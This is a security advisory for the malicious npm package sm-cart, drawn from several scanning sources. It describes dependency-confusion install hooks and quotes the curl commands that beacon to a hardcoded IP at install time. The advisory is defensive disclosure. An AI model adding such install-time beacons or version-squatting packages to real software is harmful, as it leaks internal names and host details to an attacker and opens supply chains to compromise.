MAL-2026-14396
Dashboard / Malicious Package / MAL-2026-14396
MAL-2026-14396
Summary: Malicious code in sm-cart (npm)
Details: Source: amazon-inspector (14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0) Package [email protected] declares preinstall and postinstall scripts that unconditionally run `curl -s http://16.192.173.5/sm-cart/pre` and `curl -s http://16.192.173.5/sm-cart/post` on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5. Source: ghsa-malware (df0e3405b202c2d567c7eca4a9615bd1b2f892260939b467c56c6938b0d1f99a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. Source: ossf-package-analysis (ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af) The OpenSSF Package Analysis project identified 'sm-cart' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
References: https://www.npmjs.com/package/sm-cart/v/99.0.0, https://www.npmjs.com/package/sm-cart/v/99.0.1, https://github.com/advisories/GHSA-79hh-8hx9-8jjr
Affected packages
Package
Name: sm-cart
Purl: pkg:npm/sm-cart
Affected ranges
Type: SEMVER
Events:
